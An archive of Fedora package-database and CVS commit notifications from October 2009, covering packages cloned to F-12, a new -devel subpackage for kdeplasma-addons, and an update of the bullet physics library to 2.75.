Subject: [pkgdb] ModemManager F-12 cloned from devel
Message-ID: <20091003160058.57A6D10F90C@bastion2.fedora.phx.redhat.com>

toshio cloned ModemManager F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ModemManager



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:39 +0000
Subject: [pkgdb] alsamixergui F-12 cloned from devel
Message-ID: <20091003160839.EF29510F95E@bastion2.fedora.phx.redhat.com>

toshio cloned alsamixergui F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alsamixergui



From pkgdb at fedoraproject.org  Sat Oct  3 16:08:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:08:50 +0000
Subject: [pkgdb] amavisd-new F-12 cloned from devel
Message-ID: <20091003160850.E701010F9D1@bastion2.fedora.phx.redhat.com>

toshio cloned amavisd-new F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/amavisd-new



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:23 +0000
Subject: [pkgdb] avr-binutils F-12 cloned from devel
Message-ID: <20091003161523.7D5DC10FACD@bastion2.fedora.phx.redhat.com>

toshio cloned avr-binutils F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avr-binutils



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:53 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:53 +0000
Subject: [pkgdb] R-Biostrings F-12 cloned from devel
Message-ID: <20091003160253.4D3A410F90F@bastion2.fedora.phx.redhat.com>

toshio cloned R-Biostrings F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-Biostrings



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:58 +0000
Subject: [pkgdb] R-widgetTools F-12 cloned from devel
Message-ID: <20091003160358.B05B310F98B@bastion2.fedora.phx.redhat.com>

toshio cloned R-widgetTools F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-widgetTools



From pkgdb at fedoraproject.org  Sat Oct  3 16:03:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:03:12 +0000
Subject: [pkgdb] R-RScaLAPACK F-12 cloned from devel
Message-ID: <20091003160312.443AD10F913@bastion2.fedora.phx.redhat.com>

toshio cloned R-RScaLAPACK F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-RScaLAPACK



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:10 +0000
Subject: [pkgdb] armacycles-ad F-12 cloned from devel
Message-ID: <20091003161110.2C03610F934@bastion2.fedora.phx.redhat.com>

toshio cloned armacycles-ad F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/armacycles-ad



From pkgdb at fedoraproject.org  Sat Oct  3 16:14:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:14:09 +0000
Subject: [pkgdb] audio-entropyd F-12 cloned from devel
Message-ID: <20091003161409.3F9DA10FA9E@bastion2.fedora.phx.redhat.com>

toshio cloned audio-entropyd F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/audio-entropyd



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:42 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:42 +0000
Subject: [pkgdb] anyremote2html F-12 cloned from devel
Message-ID: <20091003160942.A9D0210F8C2@bastion2.fedora.phx.redhat.com>

toshio cloned anyremote2html F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anyremote2html



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:03 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:03 +0000
Subject: [pkgdb] MyPasswordSafe F-12 cloned from devel
Message-ID: <20091003160103.9CBF010F8C8@bastion2.fedora.phx.redhat.com>

toshio cloned MyPasswordSafe F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/MyPasswordSafe



From pkgdb at fedoraproject.org  Sat Oct  3 16:07:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:07:51 +0000
Subject: [pkgdb] alienarena-data F-12 cloned from devel
Message-ID: <20091003160751.3181310F7C4@bastion2.fedora.phx.redhat.com>

toshio cloned alienarena-data F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/alienarena-data



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:13 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:13 +0000
Subject: [pkgdb] avalon-framework F-12 cloned from devel
Message-ID: <20091003161513.9F1EC10FA03@bastion2.fedora.phx.redhat.com>

toshio cloned avalon-framework F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avalon-framework



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:09 +0000
Subject: [pkgdb] astromenace-data F-12 cloned from devel
Message-ID: <20091003161309.4B99610F9D8@bastion2.fedora.phx.redhat.com>

toshio cloned astromenace-data F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astromenace-data



From pkgdb at fedoraproject.org  Sat Oct  3 16:05:55 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:05:55 +0000
Subject: [pkgdb] abyssinica-fonts F-12 cloned from devel
Message-ID: <20091003160555.AF54E10F9A9@bastion2.fedora.phx.redhat.com>

toshio cloned abyssinica-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/abyssinica-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:02:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:02:54 +0000
Subject: [pkgdb] R-BufferedMatrix F-12 cloned from devel
Message-ID: <20091003160255.0772610F964@bastion2.fedora.phx.redhat.com>

toshio cloned R-BufferedMatrix F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/R-BufferedMatrix



From pkgdb at fedoraproject.org  Sat Oct  3 16:04:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:04:35 +0000
Subject: [pkgdb] ScientificPython F-12 cloned from devel
Message-ID: <20091003160435.0853A10F99D@bastion2.fedora.phx.redhat.com>

toshio cloned ScientificPython F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/ScientificPython



From pkgdb at fedoraproject.org  Sat Oct  3 16:11:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:11:06 +0000
Subject: [pkgdb] arm-gp2x-linux-zlib F-12 cloned from devel
Message-ID: <20091003161106.CEFA110F932@bastion2.fedora.phx.redhat.com>

toshio cloned arm-gp2x-linux-zlib F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/arm-gp2x-linux-zlib



From pkgdb at fedoraproject.org  Sat Oct  3 16:06:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:06:26 +0000
Subject: [pkgdb] adf-accanthis-fonts F-12 cloned from devel
Message-ID: <20091003160626.5249910F921@bastion2.fedora.phx.redhat.com>

toshio cloned adf-accanthis-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/adf-accanthis-fonts



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:12 +0000
Subject: [pkgdb] astronomy-bookmarks F-12 cloned from devel
Message-ID: <20091003161312.CADFE10FA75@bastion2.fedora.phx.redhat.com>

toshio cloned astronomy-bookmarks F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astronomy-bookmarks



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:25 +0000
Subject: [pkgdb] NetworkManager-pptp F-12 cloned from devel
Message-ID: <20091003160125.8F93910F912@bastion2.fedora.phx.redhat.com>

toshio cloned NetworkManager-pptp F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/NetworkManager-pptp



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:07 +0000
Subject: [pkgdb] anaconda-yum-plugins F-12 cloned from devel
Message-ID: <20091003160907.F421E10F9A7@bastion2.fedora.phx.redhat.com>

toshio cloned anaconda-yum-plugins F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/anaconda-yum-plugins



From pkgdb at fedoraproject.org  Sat Oct  3 16:13:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:13:10 +0000
Subject: [pkgdb] astronomy-backgrounds F-12 cloned from devel
Message-ID: <20091003161310.BE63310F8AF@bastion2.fedora.phx.redhat.com>

toshio cloned astronomy-backgrounds F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/astronomy-backgrounds



From pkgdb at fedoraproject.org  Sat Oct  3 16:15:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:15:18 +0000
Subject: [pkgdb] avant-window-navigator F-12 cloned from devel
Message-ID: <20091003161518.35C6510FAC6@bastion2.fedora.phx.redhat.com>

toshio cloned avant-window-navigator F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/avant-window-navigator



From pkgdb at fedoraproject.org  Sat Oct  3 16:01:57 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:01:57 +0000
Subject: [pkgdb] PersonalCopy-Lite-soundfont F-12 cloned from devel
Message-ID: <20091003160157.471F510F926@bastion2.fedora.phx.redhat.com>

toshio cloned PersonalCopy-Lite-soundfont F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/PersonalCopy-Lite-soundfont



From pkgdb at fedoraproject.org  Sat Oct  3 16:09:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 16:09:48 +0000
Subject: [pkgdb] apa-new-athena-unicode-fonts F-12 cloned from devel
Message-ID: <20091003160948.1FA6F10F977@bastion2.fedora.phx.redhat.com>

toshio cloned apa-new-athena-unicode-fonts F-12 from devel

To make changes to this package see:
  /pkgdb/packages/name/apa-new-athena-unicode-fonts



From kkofler at fedoraproject.org  Sat Oct  3 16:22:44 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 16:22:44 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-12 kdeplasma-addons.spec,1.60,1.61
Message-ID: <20091003162244.9E66F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10350/F-12

Modified Files:
	kdeplasma-addons.spec 
Log Message:
* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
- Ship -devel subpackage (#527011)


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-12/kdeplasma-addons.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- kdeplasma-addons.spec	30 Sep 2009 19:48:14 -0000	1.60
+++ kdeplasma-addons.spec	3 Oct 2009 16:22:44 -0000	1.61
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -69,6 +69,14 @@ Requires: kdelibs4%{?_isa} >= %{version}
 %description libs
 %{summary}.
 
+%package devel
+Summary:  Developer files for %{name}
+Group:    Development/Libraries
+Requires: %{name}-libs = %{version}-%{release}
+Requires: plasma-devel
+%description devel
+Files for developing applications using %{name}.
+
 
 %prep
 %setup -q -n kdeplasma-addons-%{version}
@@ -92,20 +100,6 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
-# unpackaged files
-# omit shlib symlinks 
-rm -f %{buildroot}%{_kde4_libdir}/libplasma*.so
-rm -f %{buildroot}%{_kde4_libdir}/lib{ocsclient,rtm}.so
-
-# lancelot-devel
-rm -f %{buildroot}%{_kde4_libdir}/liblancelot*.so
-rm -rf %{buildroot}%{_kde4_includedir}/lancelot
-
-# conversion-devel 
-rm -rf %{buildroot}%{_kde4_includedir}/conversion/
-rm -f  %{buildroot}%{_kde4_libdir}/libconversion.so
-rm -f  %{buildroot}%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
-
 
 %post
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
@@ -160,9 +154,23 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/libplasmaweather.so.*
 %{_kde4_libdir}/librtm.so.*
 
+%files devel
+%defattr(-,root,root,-)
+%{_kde4_includedir}/conversion/
+%{_kde4_includedir}/lancelot/
+%{_kde4_libdir}/libconversion.so
+%{_kde4_libdir}/libocsclient.so
+%{_kde4_libdir}/liblancelot.so
+%{_kde4_libdir}/libplasma*.so
+%{_kde4_libdir}/librtm.so
+%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
+
 
 %changelog
-* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.1-2
+* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
+- Ship -devel subpackage (#527011)
+
+* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Microblogging Widget Does Not Fetch Tweets (#526524)
 
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1



From kkofler at fedoraproject.org  Sat Oct  3 16:22:44 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 16:22:44 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.60,1.61
Message-ID: <20091003162244.CD63311C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10350/devel

Modified Files:
	kdeplasma-addons.spec 
Log Message:
* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
- Ship -devel subpackage (#527011)


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.60
retrieving revision 1.61
diff -u -p -r1.60 -r1.61
--- kdeplasma-addons.spec	30 Sep 2009 19:48:14 -0000	1.60
+++ kdeplasma-addons.spec	3 Oct 2009 16:22:44 -0000	1.61
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -69,6 +69,14 @@ Requires: kdelibs4%{?_isa} >= %{version}
 %description libs
 %{summary}.
 
+%package devel
+Summary:  Developer files for %{name}
+Group:    Development/Libraries
+Requires: %{name}-libs = %{version}-%{release}
+Requires: plasma-devel
+%description devel
+Files for developing applications using %{name}.
+
 
 %prep
 %setup -q -n kdeplasma-addons-%{version}
@@ -92,20 +100,6 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
-# unpackaged files
-# omit shlib symlinks 
-rm -f %{buildroot}%{_kde4_libdir}/libplasma*.so
-rm -f %{buildroot}%{_kde4_libdir}/lib{ocsclient,rtm}.so
-
-# lancelot-devel
-rm -f %{buildroot}%{_kde4_libdir}/liblancelot*.so
-rm -rf %{buildroot}%{_kde4_includedir}/lancelot
-
-# conversion-devel 
-rm -rf %{buildroot}%{_kde4_includedir}/conversion/
-rm -f  %{buildroot}%{_kde4_libdir}/libconversion.so
-rm -f  %{buildroot}%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
-
 
 %post
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
@@ -160,9 +154,23 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/libplasmaweather.so.*
 %{_kde4_libdir}/librtm.so.*
 
+%files devel
+%defattr(-,root,root,-)
+%{_kde4_includedir}/conversion/
+%{_kde4_includedir}/lancelot/
+%{_kde4_libdir}/libconversion.so
+%{_kde4_libdir}/libocsclient.so
+%{_kde4_libdir}/liblancelot.so
+%{_kde4_libdir}/libplasma*.so
+%{_kde4_libdir}/librtm.so
+%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
+
 
 %changelog
-* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.1-2
+* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
+- Ship -devel subpackage (#527011)
+
+* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.3.1-2
 - Microblogging Widget Does Not Fetch Tweets (#526524)
 
 * Fri Aug 28 2009 Than Ngo <than at redhat.com> - 4.3.1-1



From linuxdonald at fedoraproject.org  Sat Oct  3 16:28:04 2009
From: linuxdonald at fedoraproject.org (Thomas Kowaliczek)
Date: Sat,  3 Oct 2009 16:28:04 +0000 (UTC)
Subject: rpms/bullet/F-11 bullet.spec,1.1,1.2 lib_suffix.patch,1.1,1.2
Message-ID: <20091003162804.D652111C00E5@cvs1.fedora.phx.redhat.com>

Author: linuxdonald

Update of /cvs/pkgs/rpms/bullet/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11968/F-11

Modified Files:
	bullet.spec lib_suffix.patch 
Log Message:

Updatet to the new upsream release



Index: bullet.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-11/bullet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- bullet.spec	27 Jun 2009 21:47:38 -0000	1.1
+++ bullet.spec	3 Oct 2009 16:28:04 -0000	1.2
@@ -1,5 +1,5 @@
 Name: bullet
-Version: 2.74
+Version: 2.75
 Release: 1%{?dist}
 Summary: 3D Collision Detection and Rigid Body Dynamics Library
 Group: Development/Libraries
@@ -11,7 +11,7 @@ Source0: %{name}-%{version}-free.tar.gz
 # this script to remove the non-free code before shipping it.
 # Download the upstream tarball and invoke this script while in the
 # tarball's directory:
-# ./generate-tarball.sh 2.74
+# ./generate-tarball.sh 2.75
 Source1: generate-tarball.sh
 
 # See http://code.google.com/p/bullet/issues/detail?id=174
@@ -98,10 +98,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/BulletCollision/CollisionShapes/*.h
 %{_includedir}/BulletCollision/Gimpact/*.h
 %{_includedir}/BulletCollision/NarrowPhaseCollision/*.h
+%{_includedir}/BulletCollision/*.h
 %{_includedir}/BulletDynamics/Character/*.h
 %{_includedir}/BulletDynamics/ConstraintSolver/*.h
 %{_includedir}/BulletDynamics/Dynamics/*.h
 %{_includedir}/BulletDynamics/Vehicle/*.h
+%{_includedir}/BulletDynamics/*.h
 %{_includedir}/BulletSoftBody/*.h
 %{_includedir}/LinearMath/*.h
 %{_libdir}/*.so
@@ -109,6 +111,10 @@ rm -rf $RPM_BUILD_ROOT
 
 %changelog
 
+* Sat Oct 03 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.75-1
+- Updatet to new upstream version 2.75
+- Updatet the patch file to work agian
+
 * Thu Jun 25 2009 Thomas Kowaliczek <linuxdonald at linuxdonald.de> - 2.74-1
 - Updatet to version 2.74
 - Updatet the patch file to work agian

lib_suffix.patch:
 BulletCollision/CMakeLists.txt |    2 +-
 BulletDynamics/CMakeLists.txt  |    2 +-
 BulletSoftBody/CMakeLists.txt  |    2 +-
 LinearMath/CMakeLists.txt      |    2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

Index: lib_suffix.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bullet/F-11/lib_suffix.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- lib_suffix.patch	27 Jun 2009 21:47:38 -0000	1.1
+++ lib_suffix.patch	3 Oct 2009 16:28:04 -0000	1.2
@@ -1,44 +1,44 @@
---- ./src/BulletCollision/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletCollision/CMakeLists.txt	2009-06-24 23:54:42.899191024 +0200
-@@ -216,7 +216,7 @@
- 
- #INSTALL of other files requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletCollision DESTINATION lib)
-+	INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
-         INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletDynamics/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletDynamics/CMakeLists.txt	2009-06-24 23:55:00.587135244 +0200
-@@ -76,7 +76,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
--	INSTALL(TARGETS BulletDynamics DESTINATION lib)
-+	INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
- 	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
- ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/BulletSoftBody/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/BulletSoftBody/CMakeLists.txt	2009-06-24 23:54:18.388094145 +0200
-@@ -33,7 +33,7 @@
- ENDIF (BUILD_SHARED_LIBS)
- 
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/BulletCollision/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletCollision/CMakeLists.txt	2009-10-03 17:51:09.556672424 +0200
+@@ -248,7 +248,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletCollision DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletCollision DESTINATION lib)
++		INSTALL(TARGETS BulletCollision DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletCollisionCommon.h DESTINATION include/BulletCollision)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletDynamics/CMakeLists.txt	2009-09-17 23:33:29.000000000 +0200
++++ ./src/BulletDynamics/CMakeLists.txt	2009-10-03 17:51:16.724672532 +0200
+@@ -89,7 +89,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletDynamics DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+-		INSTALL(TARGETS BulletDynamics DESTINATION lib)
++		INSTALL(TARGETS BulletDynamics DESTINATION lib${LIB_SUFFIX})
+ 		INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 		INSTALL(FILES ../btBulletDynamicsCommon.h DESTINATION include/BulletDynamics)
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+--- ./src/BulletSoftBody/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/BulletSoftBody/CMakeLists.txt	2009-10-03 17:51:25.189672245 +0200
+@@ -37,7 +37,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS BulletSoftBody DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS BulletSoftBody DESTINATION lib)
 +	INSTALL(TARGETS BulletSoftBody DESTINATION lib${LIB_SUFFIX})
          INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 
---- ./src/LinearMath/CMakeLists.txt	2009-02-18 23:52:03.000000000 +0100
-+++ ./src/LinearMath/CMakeLists.txt	2009-06-24 23:53:03.892114830 +0200
-@@ -41,7 +41,7 @@
- 
- #FILES_MATCHING requires CMake 2.6
- IF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
+--- ./src/LinearMath/CMakeLists.txt	2009-07-14 04:10:03.000000000 +0200
++++ ./src/LinearMath/CMakeLists.txt	2009-10-03 17:51:32.196672442 +0200
+@@ -44,7 +44,7 @@
+ 	IF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
+ 		INSTALL(TARGETS LinearMath DESTINATION .)
+ 	ELSE (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
 -	INSTALL(TARGETS LinearMath DESTINATION lib)
 +	INSTALL(TARGETS LinearMath DESTINATION lib${LIB_SUFFIX})
  	INSTALL(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} DESTINATION include FILES_MATCHING PATTERN "*.h")
+ 	ENDIF (APPLE AND BUILD_SHARED_LIBS AND FRAMEWORK)
  ENDIF (${CMAKE_MAJOR_VERSION}.${CMAKE_MINOR_VERSION} GREATER 2.5)
- 



From kkofler at fedoraproject.org  Sat Oct  3 16:35:05 2009
From: kkofler at fedoraproject.org (Kevin Kofler)
Date: Sat,  3 Oct 2009 16:35:05 +0000 (UTC)
Subject: rpms/kdeplasma-addons/F-10 kdeplasma-addons.spec,1.22,1.23
Message-ID: <20091003163505.34FD011C00E5@cvs1.fedora.phx.redhat.com>

Author: kkofler

Update of /cvs/pkgs/rpms/kdeplasma-addons/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv14053/F-10

Modified Files:
	kdeplasma-addons.spec 
Log Message:
Sync from devel:

* Sat Oct 03 2009 Kevin Kofler <Kevin at tigcc.ticalc.org> - 4.3.1-3
- Ship -devel subpackage (#527011)


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/F-10/kdeplasma-addons.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- kdeplasma-addons.spec	30 Sep 2009 19:49:36 -0000	1.22
+++ kdeplasma-addons.spec	3 Oct 2009 16:35:05 -0000	1.23
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.1
-Release:        2%{?dist}
+Release:        3%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -69,6 +69,14 @@ Requires: kdelibs4%{?_isa} >= %{version}
 %description libs
 %{summary}.
 
+%package devel
+Summary:  Developer files for %{name}
+Group:    Development/Libraries
+Requires: %{name}-libs = %{version}-%{release}
+Requires: plasma-devel
+%description devel
+Files for developing applications using %{name}.
+
 
 %prep
 %setup -q -n kdeplasma-addons-%{version}
@@ -92,20 +100,6 @@ rm -rf %{buildroot}
 
 make install/fast DESTDIR=%{buildroot} -C %{_target_platform}
 
-# unpackaged files
-# omit shlib symlinks 
-rm -f %{buildroot}%{_kde4_libdir}/libplasma*.so
-rm -f %{buildroot}%{_kde4_libdir}/lib{ocsclient,rtm}.so
-
-# lancelot-devel
-rm -f %{buildroot}%{_kde4_libdir}/liblancelot*.so
-rm -rf %{buildroot}%{_kde4_includedir}/lancelot
-
-# conversion-devel 
-rm -rf %{buildroot}%{_kde4_includedir}/conversion/
-rm -f  %{buildroot}%{_kde4_libdir}/libconversion.so
-rm -f  %{buildroot}%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
-
 
 %post
 touch --no-create %{_kde4_iconsdir}/hicolor &> /dev/null ||:
@@ -160,9 +154,23 @@ rm -rf %{buildroot}
 %{_kde4_libdir}/libplasmaweather.so.*
 %{_kde4_libdir}/librtm.so.*
 
+%files devel
+%defattr(-,root,root,-)
+%{_kde4_includedir}/conversion/
+%{_kde4_includedir}/lancelot/
+%{_kde4_libdir}/libconversion.so
+%{_kde4_libdir}/libocsclient.so
+%{_kde4_libdir}/liblancelot.so
+%{_kde4_libdir}/libplasma*.so
+%{_kde4_libdir}/librtm.so
+%{_kde4_appsdir}/cmake/modules/FindConversion.cmake
+
 
 %changelog
-* Wed Sep 30 2009 Rex Dieter <rdieter at fedoraproject.org> 4.3.1-2
